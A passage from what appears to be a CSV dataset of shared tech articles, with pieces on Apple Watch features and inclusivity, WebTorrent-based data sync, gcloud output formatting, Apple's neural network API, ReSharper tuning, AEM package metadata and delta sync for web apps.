disorganized and more likely to have a photo roll full of your drunk idiot friends than a white water rafting trip with your children, this feels not really relevant to your life. Or if you're basically anything OTHER than a rich white businessman who loves dim sum and jogging, then this might not feel relevant to you. When the Apple Watch came out it seemed like the ultimate hardware realization of Apple Man. A bulky fashion device with a huge price tag that seemed mostly useful for outdoor running or biking and getting alerted about business meetings. Indeed, some (frankly sketchy) sales analysis suggested that initial buyers of the watch were 80% male (the gender gap is closing, but still very real). But at yesterday's WWDC keynote, Apple announced new features for the Apple Watch that feel like they're designed with someone other than Apple Man in mind. The first one is the wheelchair activity monitor. While this of course, still appeals to people who love exercising (just like Apple Man), it's a feature launch devoted to people with disabilities, presented at a major event. The second feature is the emergency alert system. To me, this seemed so clearly designed for women - a safety alert system for walks home at night or through a deserted parking lot. Safety was one of the features women liked about the Apple Watch to begin with - like being able to call an Uber without taking their phone out of their purse. For women, safety while walking down the street is something we think about pretty much daily, most times we leave the house. Women have long adopted their own safety measures for walking in public: holding their keys a certain way to use as a weapon, carrying pepper spray, checking the backseat of a car before unlocking it, taking a longer route because the streets are brighter and more crowded. This isn't an afterthought or a minor convenience; it's a core user experience of being a woman or person vulnerable to violence. While certainly emergency calls are made by men and women, adding in an emergency alert feature to the wrist feels very obviously designed with women's safety in mind. The bonus feature that the Watch automatically knows what the country-specific version of 911 is if you're traveling addresses something women have been wary of for a long time: safety while traveling alone . Of course, plenty of the other demos for other products at this year's WWDC seemed to have Apple Man in mind - work productivity tools, messaging enhancements for wholesome activities like wishing your niece a happy graduation or planning to buy LCD Soundsystem tickets (Apple Man LOVES LCD Soundsystem). But the effervescent demo of Apple Music by the charismatic Bozoma Saint John - a black woman who looked and acted nothing like the typical Apple Men on stage before her and who in her opening remarks mentioned being a mother - felt like a breath of fresh air signaling that perhaps the winds are changing. There were other signals too. In the video segment cheering on developers using Apple's Swift programming language, the video ended with a black woman joyfully expounding how awesome coding was - certainly not the stereotype of a coder, and not totally reflective of the crowd there watching the video. At another Apple event in March, another female African American Apple executive, Lisa Jackson, took the stage to talk about Apple's environmental efforts. Breaking the Apple Man stereotype in the people who appear on stage as the Apple's evangelists is symbolic. Having a black woman present on stage might just mean the company is more aware of the optics of its events. But there is evidence that it's not just a hollow gesture - the actual features and hardware being announced on stage at Apple events are changing along with those presenters. When Health kit was announced last spring, the main complaint was that a period tracker wasn't included - for many women that is the only kind of health tracking they care about. By the next update that fall, they actually added the feature . The smaller iPhone SE seemed like an admission that not all men and women have giant Trump hands. People who use Apple products are sometimes young, they are women, they have disabilities, they don't work outside the home, they are single, they don't have kids, they are disorganized or just plain lazy; they don't exercise. It's nice to see features made for us . Apple Man isn't dead, not by a long shot. But maybe, hopefully, he's in retreat.",en
1465962769,CONTENT SHARED,6062146090334604102,-8020832670974472349,-2734800878000447382,,,,HTML,https://paul.kinlan.me/serverless-sync-in-web-apps/,Serverless Data Sync in Web Apps with Bit Torrent,"Our team has built a lot of Progressive Web Apps recently to demonstrate how we think they can be built: Airhorner , Voice Memos , Guitar Tuner, SVG-OMG are a few that spring to mind. One thing that is common across all of these sites is that they have no sever component to store and synchronise data. We built these sites as examples and reference implementations of the types of experiences that we can deliver on the web, they were never intended to be full ""Apps"" that you would build as a business. I recently had an idea for another Web App that was inspired by Ben Thompson's Future of Podcasting PodCast. I wanted to make Pod Casting as simple as visiting your site and pressing a record button on the page (I did something similar years ago called FriendBoo but that had to use the PSTN telephone system). Technically we have all the parts of the web platform to help us: Service Worker to make it work offline, Blob and IndexedDB to store chunks of data locally and MediaStream Recorder to take Microphone input and record it to a file. Finally we have the power of the URL to allow us to access the web app from anywhere there is a browser and an internet connection. Once you have access to the web, you would expect that the data you recorded from one device would be stored on a server somewhere and then be available again later from any machine that you access the site. Traditionally you create a web service that will store the data on a server somewhere and you would manage all that infrastructure to support all your users. However, I'm not in the mood to create a service that requires storage and retrieval of data from a service (getting that through our legal teams will be a nightmare) so everything would have to be stored locally inside the web app. The big question is how do you get your data out and shared to another instance of your web app on another device? Voice Memos created by Paul Lewis is another example of this. All the data is local to the app The data is recored and stored locally which means if you want to sync it with your other devices or share it with a friend, you can't. There are solutions, for example we could dynamically encode the audio file as base64 and create a custom URL - but thats not scalable. It was a bit of a conumdrum and one that I wanted to solve. I set up some simple requirements for what I would like to see: The user should be able to share a simple url that would point to their local data, The user should not have to manually save the data outside of their browser or web app, There should be no ""backend"" that stores the data, Synchornisation should ideally happen peer to peer. Now. Step back 6 months. I was at ColdFront conference last year and I saw a talk by Feross Aboukhadijeh about Web RTC Data Channel, BitTorrent and how he started a project called WebTorrent . It was a great talk, but I didn't hook things up in my head until recently about the potential of what he was talking about. Now I think I have the start of a solution through the use of WebTorrent.io. Web Torrent I won't explain WebTorrent too much other than to say that it combines BitTorrent style distributed data delivery with WebRTC and it is rather spectacular. I do encourage you all to check it out though. The theory I had was that if the user's client could act as a peer in the Torrent network, it would be then able to seed some of the data that is local to the web site, the user could generate a torrent link that could be shared either with another one of their devices or with another user and then the ""remote"" instance of the web app will fetch the data from the ""client"" instance. User vists page User does some work User saves it to IndexedDB User clicks ""Share"" and it generates a ""magnet:"" URL and then starts to seed the Audio Blob. User shares or opens the URL in another browser. Site parses magnet URL and connects to tracker. Site finds peers from the tracker, connects to peer(s) and downloads data. Rough flow of data For 1:1 connections this might be a bit of an overkill, I could just create a WebRTC signalling service and deliver the messages to the other instance to get the data from one client to another. The interesting thing with this approach is that it scales nicely when sharing data to more than one person. Applying this to a real world sample I briefly mentioned Voice Memos earlier. It was a great reference application form me to try and integrate my theory in to a working app. It is close to my idea of a podcasting app and it is also in need of a way to synchronise data between clients because it has no server based backing store for the recordings. Voice memos I didn' make too many changes other than adding in a ""Share"" button. You can check out the demo on BitTorrent Voice Memos . Record a simple audio file, save it, then share it - the ""Share"" will generate a URL that you can send to another device or send to another person. I'm quite pleased with the output. In all this demo took only a couple of hours to get ready. Here is a quick run down of some of the major things that I had to do. Add in the webtorrent.min.js script used to power all the magic. Create a singleton instance of the WebTorrent API that can be used across all of my other classes (inspired by Paul Lewis). Seed all the memos - this is currently a little overkill, but it got the demos working. The this.memos is an Array Instance of VoiceMemos that were stored in our IndexedDB. When the user clicks the Share button, create a custom URL that will contain all the details needed to get access to the torrent and stream the data into another client. We need to run some custom logic to fetch the torrent when we detect that the user has entered a URL that contains the torrent information. The Voice Memos app has a custom router which looks for a url that starts with '/share'. Now we need to parse out the torrent information, and then using the WebTorrent API fetch the file from the BitTorrent network. Once it has been fetched we have to then get the file data out of the Blob using a rather hackey XMLHttpRequest. Wrapping up I will end this all by saying that this is a massive hack and it shouldn't be used for actual private data - right now if goes out on the network if people have the URL to the torrent then it will be accessible. I do think the concept is important, the ability to synchronise data and have no middle-man or server logic in our web apps is an important concept and we should actively consider how we build such experiences. I'm off to keep playing with this...",en
1465963196,CONTENT SHARED,885269153482673496,-8020832670974472349,-2734800878000447382,,,,HTML,https://cloudplatform.googleblog.com/2016/06/filtering-and-formatting-fun-with.html,"Filtering and formatting fun with gcloud, GCP's command line interface","The gcloud command line tool is your gateway to manage and interact with Google Cloud Platform . Being a command line tool, you're probably already thinking of using system tools like cat|sed|awk|grep|cut to extract out all the info gcloud offers. In fact, gcloud itself offers a variety of options that will help you avoid having to use those commands. In this article, we describe a couple of options you can use to automatically parse and format the results. We'll also show you a how to chain these commands together in a bash or powershell script to extract the embedded data. We're going to demonstrate three gcloud features which you can extend and combine in a variety of ways: filters to return a subset of the result format to change how that data is rendered projections to apply transforms or logic directly to the data returned Format Let's start off by formatting a simple command that you are already familiar with that lists the projects to which you have access: Now let's see the raw out output of this command by asking for the raw JSON format of the response: 2. gcloud projects list --format=""json"" Seeing the raw JSON now lets us select the resources we're interested in and the formats we'd like. Let's display the same response in a formatted box sorted by createdTime and only select certain properties to display: 3. gcloud projects list --format=""table[box,title='My Project List'](createTime:sort=1,name,projectNumber,projectId:label=ProjectID,parent.id:label=Parent)"" Tip: you can derive the JSON path value for a property by using --format='flattened' flag. Say you don't want a formatted box, just a table without a border with a simple display of the date property in the format year-month-day: 4. gcloud projects list --format=""table(createTime.date('%Y-%m-%d'),name,projectNumber,projectId)"" Now let's do some more complex formatting. To see this, list out the Compute Engine zones and peek at the JSON: 5. gcloud compute zones list --format=""json"" Note the selfLink. It's the fully qualified name that you'd like to parse. gcloud can help here too by giving you functions to select the JSON value and then extract and parse it. Let's grab the last part of the URL segment of selfLink by using the selfLink.scope() function: 6. gcloud compute zones list --format=""value(selfLink.scope())"" Alternatively, you can extract the value using .basename(): 7. gcloud compute zones list --format=""value(selfLink.basename())"" Suppose you want to extract part of the selfLink starting from the /projects path: 8. gcloud compute zones list --format=""value(selfLink.scope(projects))"" Some GCP objects have multi-valued resources and we often need to enumerate them. For example, consider listing out all scopes enabled for a given GCE instance: 9. gcloud compute instances list --format=""json"" What we actually want to do here is flatten the multi-valued resources: 10. gcloud compute instances list --format=""flattened(name,serviceAccounts[].email,serviceAccounts[].scopes[].basename())"" Or flatten multi-values to a separate line per value: 11. gcloud compute instances list --filter=name:instance-1 --flatten=""serviceAccounts[].scopes[]"" --format=""csv(name,id,serviceAccounts.email,serviceAccounts.scopes.basename())"" Here is the same information in an easy-to-read, structured format: 12. gcloud compute instances list --filter=name:instance-1 --format=""table[box,no-heading](name,id,serviceAccounts:format='table[box,no-heading](email,scopes:format=\""table[box,no-heading](.)\"")')"" The final formatting example parses a multi-valued resource to display the service account keys with the service account for the following raw output: 13. gcloud beta iam service-accounts keys list --iam-account svc-2-429@mineral-minutia-820.iam.gserviceaccount.com --project mineral-minutia-820 --format=""json"" So use .scope() to extract just the serviceAccount part, then grab the first '/' delimited part with segment(0) : 14. gcloud beta iam service-accounts keys list --iam-account svc-2-429@mineral-minutia-820.iam.gserviceaccount.com --project mineral-minutia-820 --format=""table(name.scope(serviceAccounts).segment(0):label='service Account',name.scope(keys):label='keyID',validAfterTime)"" Filters Let's talk about filters. Filters allow you to select only the resources to which you want to apply formatting.For example, suppose you labeled your resource (projects, VM's, etc.) with a specific name, and you want to list only those projects where the labels match specific values (e.g. label.env='test' and label.version=alpha) : 15. gcloud projects list --format=""json"" --filter=""labels.env=test AND labels.version=alpha"" You can also apply projections on keys. In the example below, the filter is applied on the createTime key after the date formatting is set: 16. gcloud projects list --format=""table(projectNumber,projectId,createTime)"" --filter=""createTime.date('%Y-%m-%d', Z)='2016-0511'"" Notice the filter selected above actually references a JSON structure (labels. env=test ).You can of course use that and combine it in any number of ways. Projection transforms Projection transforms allow you to alter the value rendered directly. We already showed several examples above (e.g., .extract(), .scope(), .basename(), .segment() ). To note, one interesting capability of transforms is that you can combine and chain them together with .map() and and apply them to multi-valued data. For example, the following applies conditional projection to the parent.id key such that if the parent.id key exists, the output is ""YES"" and otherwise its ""NO"". This is a quick way to see which of your projects meets a specific criteria (in this case, is it part of the Organization Node) 17. gcloud projects list --format=""table(projectId,parent.id.yesno(yes=""YES"", no=""NO""):label='Has Parent':sort=2)"" 18. gcloud compute instances list --format=""flattened(name,serviceAccounts[].email,serviceAccounts[].scopes.map().scope())"" Scripts Finally, let's see how we can combine gcloud commands into a script that will help us easily extract embedded information. In the following example, we list all the keys associated with all your projects' service accounts.To do this, we first need to enumerate all the projects, then for each project, get all of its service accounts.Finally, for each service account, we list all the keys created against it. This is basically a nested loop to iterate over: As a bash script: Or as Windows PowerShell: You'll also often need to parse response fields into arrays for processing. The following example parses the service account information associated with an instance into an array for easy manipulation. Notice the serviceAccounts[].scope field is multi-valued within the csv and delimited by a semicolon since we defined ""separator=;"". That is, each response line from the gcloud command below will be in the form name,id,email,scope_1;scope_2;scope_3. The script below essentially parses the response from example 12 above: Hopefully, this has given you ideas for how to effectively filter and format gcloud command output. You can apply these techniques and extend them to any gcloud response - just look at the raw response, think about what you want to do, and then format away!",en
1465986505,CONTENT SHARED,7943906961970828120,-1443636648652872475,6340331642204025925,,,,HTML,http://www.cultofmac.com/433309/apple-gives-devs-the-chance-to-harness-power-of-neural-networks/,Apple gives devs the chance to harness power of neural networks,"Apple announced a new push into Artificial Intelligence at yesterday's WWDC event - and it means big thing for developers. While opening up Siri to third-party developers was the most attention-grabbing thing coming out of the event, Apple has also revealed that it is going to begin allowing developers to tap into Apple's artificial neural network technology. And once the dust is settled this could turn out to be the biggest development of WWDC, bar none! Neural nets, if you've lived under a rock for the past few years, have been responsible for some of the most importance advances in Artificial Intelligence over the past decade. They're basically vast artificial brains used for exploring the relationship between input and output, where this relationship is complex or unclear. Whether it's machines that can recognize photos, understand speech, or drive a car, neural nets are almost certainly behind any breakthroughs you've read about recently. As Apple explains in accompanying notes about its API: ""The Accelerate framework's new basic neural network subroutines (BNNS) is a collection of functions that you can use to construct neural networks. It is supported on OS X, iOS, tvOS, and watchOS, and is optimized for all CPUs supported on those platforms. BNNS supports implementation and operation of neural networks for inference, using input data previously derived from training. BNNS does not do training, however. Its purpose is to provide very high performance inference on already trained neural networks."" By most accounts, Apple is well behind rivals like Facebook and Google when it comes to AI research. While that's not going to change overnight, opening up some of its tools to developers is certainly a positive move. And, hey, if it means that we all get smarter apps in the meantime, all the better! Now we just have to wait and see what developers will do with it...",en
1465992728,CONTENT SHARED,-4888170580455425266,-8424644554119645763,-1573551387441998743,,,,HTML,https://www.jetbrains.com/help/resharper/2016.1/Speeding_Up_ReSharper.html,Speeding up ReSharper (and Visual Studio),"This document presents a list of performance optimizations that can be applied if you experience performance issues with Visual Studio and ReSharper. Some of the tricks presented are ReSharper-specific, whereas others will affect Visual Studio performance whether you have installed ReSharper or not. We constantly make sure that ReSharper works fine on modern hardware and with medium- and large-size solutions without any tweaking. We believe that Visual Studio developers are working towards the same things. By trying to speed up ReSharper on outdated hardware, you deprive yourself of great features that can speed up your development performance. In this topic: Speeding up ReSharper Disable code analysis for current file You can temporarily disable design time code inspection for the current file by pressing Ctrl+Shift+Alt+8 . Pressing the shortcut again will re-enable the inspection. You can spot the status of code analysis in the current file by the status indicator : If you want to bind a different shortcut for this operation, look for the ReSharper_EnableDaemon command. Disable code analysis for specific files You can tell ReSharper to skip analyzing certain files without opening them. For example, you can skip files that contain well tested algorithms and that do not change much. To do so, go to and scroll to the Element to skip section, where you can pick the files and folders to skip. You can also specify a file mask for skipping files. You will also notice that all files where you disabled code analysis with Ctrl+Shift+Alt+8 are already in the list of ignored files. Turn off Solution-Wide Analysis On very large projects, turning on Solution-Wide Analysis may cause performance degradation, particularly on less powerful hardware. If you find this analysis to be taking up too many resources, simply switch it off: right-click the SWA circle in the bottom right corner of Visual Studio window and choose Stop Solution-Wide Analysis or Pause Analysis. A dialog box will pop up asking whether you want to turn off SWA. Say Yes and you're done. Disable context actions In ReSharper options, go to and , and uncheck the that are less helpful to you. Speed up typing If you experience slowdown while typing, you can turn off member signatures, symbol types and summary in completion lists - go to and clear the corresponding check-boxes: If this doesn't help, switch back to built-in Visual Studio IntelliSense under : Disable auto-formatting To speed up typing, you can also disable auto-formatting options under to avoid reformatting code while typing: Speed up code templates To speed up expanding code templates , you can turn off the Reformat and Shorten qualified references options for templates that you use: Disable unit testing If you don't use the ReSharper unit test runner , you can save some processing time by turning it off. Go to and clear the Enable Unit Testing check-box. Disable the navigation bar If you use File Structure Window , then you probably don't use the navigation bar on top of the editor. If so, you can disable the navigation bar by clearing the corresponding check-box in Visual Studio options: . If nothing helps If you've tried out everything described above and the performance is still down, you can temporarily disable ReSharper and check whether it was the cause of the slowdown. To disable/enable ReSharper, go to and click Suspend Now/Resume Now. If suspending ReSharper helps improve the performance but you still want to use it occasionally for code analysis , code cleanup or reformatting code , you might want to have a shortcut that quickly switches ReSharper on and off. Here is how to do it: go to and find the ReSharper_ToggleSuspended command, then press a shortcut of your choice and click Assign. Known Performance Problems The following is a list of known performance problems and their solutions. VS2010 with ReSharper on Windows XP slowness This known issue can be resolved by installing the Windows Automation API 3.0. For further details, see this article . Please note that this fix applies to Windows XP only - later Windows operating systems already have this API installed. Performance degradation after ReSharper upgrade If you have recently updated ReSharper and observe performance degradation with solutions that were opened with previous versions, you can attempt to speed thing up by clearing the ReSharper caches and deleting the solution .suo file. To clear the caches, go to and click Clear Caches. You can also tweak the Store solution caches in selector on this page: performance can be improved if your selected caches storage is mapped to a faster storage medium, such as a high-performance SSD or a RAM disk. Known Compatibility Problems Other Visual Studio extensions Major compatibility issues have been observed with the following products: DevExpress CodeRush/Refactor Pro (incompatible) Telerik JustCode (incompatible) Whole Tomato Visual Assist Productivity Power Tools Performance degradation has been observed with the following products: Some versions of the StyleCop ReSharper plug-in PowerCommands for Visual Studio There are also reports on Web Essentials contributing to low performance while editing .cshtml files. If you're affected by this problem, consider going to and setting Auto-format HTML on Enter to False. Parallels Desktop for Mac If you're running Visual Studio in a Windows virtual machine on your Mac using Parallels Desktop, ReSharper IntelliSense lists might be very slow to render. If this occurs in your setup, consider switching from Coherence mode to Full Screen mode. For guidelines on switching between the two modes, please see this Parallels Knowledge Base entry . Improving Visual Studio Performance Before starting to tweak Visual Studio settings, check that the most recent service pack and hot fixes are installed. Speed up editor scrolling The problem with editor scrolling arises due to hardware-accelerated editor rendering. If you experience this, try turning off the following options under : Automatically adjust visual experience based on client performance Use hardware graphics acceleration if available Save time on startup Turning off the start page and the news channel might save some time on startup. To do so, go to and choose to show empty environment at startup. Clean web cache If you work with web projects, web cache might slow down Visual Studio. To clean it, delete everything under %LOCALAPPDATA%\Microsoft\WebSiteCache . Disable unused extensions Go to , go through the list and check if you really need each of them. You can uninstall or disable the unused ones. Unload unused projects If you are not working on some projects, you can unload them from Visual Studio and reload them back when needed. Right-click on the project or a solution folder in the Solution Explorer and choose Unload Project or Unload Projects in Solution Folder - this will speed up both Visual Studio and ReSharper. By the way, ReSharper navigation features will work even for unloaded projects. Disable visual XAML editor On large projects, editing XAML files can feel slow even on good hardware. If you don't use visual XAML editor, you can partly solve the problem by disabling it. To do so, right-click on a XAML file in the Solution Explorer and choose Open With. In the dialog box that appears, select Source Code (Text) Editor and click Set as default. Last modified: 24 May 2016",en
1465996364,CONTENT SHARED,-3469502952547705884,-9120685872592674274,7754941203047467825,,,,HTML,http://blog.mooregreatsoftware.com/2015/08/18/aem-6-dot-1-package-manager-metadata-files,AEM 6.1 Package Manager Metadata Files,"Purpose Sadly, the metadata files for AEM Package Manager are very, very poorly documented. To make matters worse, there is a lot of duplication and inconsistencies between them. There is a little bit of information at the Apache Jackrabbit FileVault Documentation site , but it is focussed at the Vault filesystem and the like, not specifically how to use packages. The Adobe 6.1 Package Manager documentation discusses creating a package through the UI, but doesn't discuss any of the mechanics. The Maven VLT plugin talks a little about how to set up Maven, but has huge holes in what is actually done and what the values really mean. In an effort to get some better understanding, I've done a lot of reading, testing, and reverse engineering to come up with the following information. If anyone knows where I can learn more, I'd love to know and pass that along! Simple Example Package When the ZIP is uploaded to Package Manager, the content inside it under META-INF/vault/ is extracted under /etc/packages . The ""group"" attribute is used to create a subdirectory to better, well, group things. The ZIP file itself is in the tester-2.3.4.zip/jcr:content[jcr:data] property. And what it looks like in Package Manager. Ignore most of the content there for now except to note the ""Group"", ""Package"" (i.e., ""name""), ""Version"", and ""file"" fields. (Highlighted in green.) (Pointless side note: The thumbnail and screenshot images are from our family vacation to Glenwood Canyons, CO this year.) The Files For our purposes here, the primary files are META-INF/vault/properties.xml , META-INF/vault/definition/.context.xml and META-INF/vault/filter.xml properties.xml Data This is a series of simple key/value pairs. Ignoring purely auto-generated entries like ""created"" and ""lastModifiedBy"", the ""interesting"" values are: Key Example Value Notes group twc/webcms The ""group"" the project belongs to. Packages follow a GAV structure similar to Maven artifacts . One difference is that it can use a hierarchical naming structure, as shown in the example. It can not have a "":"" or "","" because they are used as delimiters. version 2.3.4 Can not contain either a "":"" or a "","", but if you're following Semantic Versioning that won't happen anyway. It is worth noting that while the Sling OSGi installer handles ""-SNAPSHOT"" versions ""specially"" , Package Manager does not. While this field is not strictly required, there's no good reason to not at least arbitrarily assign a ""1.0.0"" to your packages to make it easier to know when there are any changes to them. Interestingly, META-INF/vault/properties.xml acts as the ""master"" datasource as far as Package Manager is concerned. For example, even though it looks like it's using the file name when it says tester-2.3.4.zip in both Package Manager and in /etc/package , that's only because we follow conventions to keep things consistent. Also, META-INF/vault/definition/.content.xml has all of the information in properties.xml (and a great deal more) and is exploded into the node structure under /etc/packages , but for everything we've seen so far properties.xml is king. Experimenting To see this in action, let's expand tester-2.3.4.zip , modify some of the values in properties.xml (leaving everything else identical), and then re-zip as tester-2.3.6.zip . If you're paying attention you should have noticed that the ""version"" in the file is ""2.3.5"" but the ""version"" in the filename is ""2.3.6""...​ Uploading that into Package Manager gives: So even though the filename ""says"" the version is ""2.3.6"" and the META-INF/vault/definition/.content.xml says it's still 2.3.4, the version that is used in Package Manager is the 2.3.5 in properties.xml . Also the filename in the Download link ignores the name of the file we uploaded and instead uses the synthesis of the group (though you can't see it in the screen-shot), name and version. For completeness, here's what is in CRXDE: Again, Package Manager uses the information extracted from properties.xml to create the base structure under /etc/packages . filter.xml For our purposes here I'll point out that then filter.xml information in a ""complete"" package is duplicated in the node structure under vlt:definition/filter . If you have a filter.xml file, its contents are used as the master data source. If that file is missing is when the node structure (in definition/.context.xml ) is consulted. definition/.context.xml The Joys of Data Duplication This file duplicates ALL of the information in properties.xml and filter.xml , as well as adding additional metadata. If properties.xml exists, it acts as the master of all the information it contains. The duplicated information in .content.xml is only consulted if properties.xml simply does not exist. In fact, if properties.xml exists but is missing certain information - such as ""name"" or ""version"" - it is derived from the uploaded file rather than the values in .content.xml . Similarly, if filter.xml exists (even if it's empty) then the filter information that is in .content.xml is completely ignored. One way to approach this information duplication and ""interesting"" conflict resolution rules is to simply use .content.xml exclusively since it is a super-set of properties.xml and filter.xml . I know of at least a two issues with that, however. One is that some subsystems, such as the crx-quickstart/install method of package installation , does not work properly if properties.xml is not there. Another is that filter.xml is what people are used to for working with VLT. That said, one advantage of the node-based approach is that it's fully programmable. You can add/remove/modify the filters for a package simply by modifying the node structure under the package, and it's automatically picked up by Package Manager. That makes it easy to create fully dynamic packages - say using an ObservationManager to create, version and build types of content (coming from a JCR query) for legal compliance, for example. As a side note, the children under vlt:definition/filter can be named anything. The JCR may accept same-name siblings, but it may not , so it's best to use unique names. The default behavior of Package Manager's UI is to use an ""f"" followed by an incrementing number. (""f0"", ""f1"", etc.) However I tried ""random"", ""bunny"", ""bunnies"" and it picked them up just fine. Data I won't bother duplicating here the information that's in the other files. What is added is: Key Example Value Notes fixedBugs freeform issues fixed This is completely freeform, so you can put anything in there. One thing that may catch people (it did me) is that if you do separate items on different lines through the UI, the newline is encoded as CR/LF and XML attribute encode as "" "" . If you want to include a thumbnail, a definition/thumbnail.png[jcr:primaryType=nt:file] node is needed that contains the thumbnail. If you create the thumbnail through the UI, the original image is stored in definition/thumbnail/file[jcr:primaryType=nt:file] . If you want to include screenshots, a definition/screenshots tree is needed with named children contained nt:file nodes for each screenshot. If you create a screenshot with the Package Manager UI it will create an nt:unstructured node where the name is a UUID, with a subnode of file[jcr:primaryType=nt:file] . Dependencies One of the coolest new features is that the ""dependencies"" metadata is finally being looked at in AEM 6. While you could set it before, violations were silent, making it pretty useless in practice. So when you're visually scanning the list of packages in Package Manager, the red ""dependencies!"" shows you right away that there's an unsatisfied dependency. Expanding the package shows you what dependency is missing. If you use the REST interface to the package list, the JSON shows that the dependencies are resolved to their Package Manager ID, which is how the UI both knows how to do the link, and to know that the package could not be resolved. In other words, it's now very easy to both manually and programmatically know if a package has everything it needs. Conclusion Hopefully now it's clear what the various metadata contained in a Package Manager file is, how and where it's stored, the rules around their use, and some of the capabilities they bring. Please let me know what your experiences are!",en
1465996455,CONTENT SHARED,5395784585257808296,-9120685872592674274,7754941203047467825,,,,HTML,http://jackrabbit.apache.org/filevault/filter.html,Workspace Filter,"General Structure The filter.xml consists of a set of filter elements, each with a root attribute and an optional list of include and exclude child elements. Example: filter elements The filter elements are independent of each other and define include and exclude patters for subtrees. The root of a subtree is defined by the root attribute, which must be an absolute path. The filter element can have an optional mode attribute which specified the import mode used when importing content. the following values are possible: ""replace"" This is the normal behavior. Existing content is replaced completely by the imported content, i.e. is overridden or deleted accordingly. ""merge"" Existing content is not modified, i.e. only new content is added and none is deleted or modified. ""update"" Existing content is updated, new content is added and none is deleted. For a more detailed description of the import mode, see here include and exclude elements the include and exclude elements allow more fine grained filtering of the subtree during import and export. they have a mandatory pattern attribute which has the format of a regexp. the regexp is matched against the path of the respective or potential JCR node, thus can be relative or absolute. order the order of the include and exclude elements is important. the paths are tested in a sequential order against all patterns and the type of the last matching element determines if the path is included or not. One caveat is, that the type of the first pattern defines the default behavior, so that the filter is more natural to write. If the first pattern is include, then the default is exclude and vice versa. The following example only includes the nodes in /tmp that end with .gif . The following example includes all nodes in /tmp except those that end with .gif . Usage for export When exporting content into the filesystem or a content package, the workspace filter defines which nodes are serialized. It is important to know, that only the nodes that match the filter are actually traversed, which can lead to unexpected results. for example: Will include the /tmp/a subtree, but not the /tmp/b/c subtree, since /tmp/b does not match the filter and is therefor not traversed. There is one exception, if all the pattern are relative (i.e. don't start with a slash), then the algorithm is: start at the filter root traverse all child nodes recursively if the path of the child node matches the regexp, include it in the export",en
1465998151,CONTENT SHARED,7429409096643373334,-8020832670974472349,-2734800878000447382,,,,HTML,http://hood.ie/blog/beyond-progressive-web-apps-part-2.html,Beyond Progressive Web Apps Part 2: We Need to Know What's New,"This is part two of a three part series about data sync beyond Progressive Web Apps. Please read part one, before continuing . Say we have a news app that runs on mobile devices and a server that publishes new stories. Blogs and RSS are a good real-world example. The scenario is this: our app starts for the first time and there are no stories available for the user to read on the device. So, the app asks the server to send the latest set of stories to the device. End result: our users get to read some stories. Later, when our apps starts for the second time, your app asks for the latest set of stories. And here is the first interesting bit: we don't want to send the app the stories it already has. Why? Four reasons: They are already on the device, so it's redundant It costs us server processing time It costs our users bandwidth It adds response-time latency to the experience As a general rule of thumb, in user experience design: don't let the user wait unnecessarily or they will get frustrated and stop using your app, your store, whatever. So what's the solution? We need to request new stories from the server in a way that says ""I've got all stories up to this point . Give, give me anything that's new "". We'll call the difference between ""all stories"" and ""stories that exist on the client"" the delta (i.e. difference). The delta is what we need to get from the server. Calculating the Delta To ask for the delta efficiently, we need two ingredients: Our app needs to store its state somewhere, so it knows what stories it already has. We'll call this the high watermark (for reasons that will become clear soon). In a native app, this could be stored in a device-local database or file. In a website or web app, this could live in browser storage systems like localStorage , or IndexedDB . Our server needs to look up the list of all stories, sorted by when they were published. It needs to be able to do do this efficiently. And it needs to be able to send back any range of stories, from any specified start date to the present moment. A naive implementation on the server side would be something equivalent to retrieving all stories from the database, sorting them by date in memory, before sending the result to the app. If the app sends a high watermark, the server would only send stories that come after the high watermark. While this definitely works, it is not very efficient . All stories have to be loaded from the database, sorted and finally filtered to match the range the client is interested in. While a server with only a few apps requesting only a handful of stories can easily do this, we should be looking for optimisations here. Something that will work with large data sets. How? Traditionally, we would add an index to the database. The Index An index has two things going for it: Order: things will be stored in index order on disk, so reading things (e.g. stories sorted by publish date) in that order is very efficient. Support for ranges: reading only part of an index from any point in the index range (e.g. all stories after a certain date) is very efficient. Maybe the database already has an auto-increment integer as a primary key. If so, each new story gets an ID integer that is one higher the previous ID. If this is the case, the server is already prepared and the app only needs to store the highest ID it gets from the server in the initial request. The app can then send that ID as the high watermark for subsequent requests. When the app receives the new batch of stories, it stores the new highest ID as the next high watermark, and so on. Here's what this looks like: Updates Now, let's imagine our stories are sometimes updated. This is fairly common. Typos need to be fixed, corrections posted, new story developments need to be added, and so on. In this case, using an auto-incrementing ID is not a good solution. Not only do new stories need to get a new ID, or more precisely a higher ID, but also: updates to a story need to get a higher ID, so that they are included in the calculation of the next delta. To solve this, we need a new table: updates . This updates table provides a secondary index that we use for recording updates only. If you add one record for every update, pointing back to the corresponding story that was updated, the auto-incrementing ID functions as an update sequence. Now, instead of passing back the story ID as a high watermark, the client can pass back the last update sequence it got. (We have to tell the client the latest update sequence with every request for this to work.) When the server receives an update sequence from the client as the high watermark, all it needs to do is send back every story that corresponds to every update with a higher update sequence ID in the updates table. Here's what that looks like: In this example, the client first receives five stories and the update sequence ID of ""5"". When the client sends the ""5"" back as the high watermark, the server notices that there's an update record with ID ""6"" and sends back the only the corresponding story, which happens to be the story with ID ""3"". The client also now gets the update sequence ""6"", which is recorded locally as the high watermark. In our case, our app might choose to handle this information by adding an ""updated"" marker to the list of stories, so our user knows the story has been updated with new information, even if it was previously read. So far so good! But we need to handle one more case for updates: what happens when a story has been updated twice?. This is how it would look in our current system: This looks very similar to the previous image, with one difference: the delta includes story three twice. Thing is, we only really need the latest update. That previous update will be discarded by the client, so we're wasting server resources, bandwidth, and UX latency sending it. In our example scenario, this isn't too bad. But imagine we're downloading thousands of objects with hundreds of updates. Not great. So what do we do about it? The update sequence index we're using is called a composite index . This means more than one data item defines the index range and how it is sorted. In our case, we have an auto-increasing change ID plus a static story ID. We need to make one more change to our composite index to solve this multiple update problem. Let's make it so that the story ID column in the updates table is unique. Every time we try to write to that table, if we see there's an existing entry with the story ID we're about to record a change for, we delete the old row. If we do this, there will only ever be one update record per story, and it will always correspond to the latest update. Here's what that looks like: What happened here? Between the first and second requests, two changes were made to story three. Because the story ID column on the updates table is unique, we only have the final update recorded, which is why the update with ID ""6"" is missing. The end result? Our client only receives the final update for story three. Deletes There's one last thing before we move on: deletes. In our app, we want to treat deletes as updates, so that deletes can be sent to the client like any other sort of change. Let's take the same example we've already been using and instead imagine that between the first and second client requests, story four is deleted from the server. In this case, we'd want to record this deletion in the updates table, along with an update ID. We can then send this information back to the client as if it were a new story, updating the high watermark as we do so. Here's what that would look like: At this point, the app has several choices. The simplest is probably just to delete the story locally. The Road to CRUD Congratulations! Now we know how to 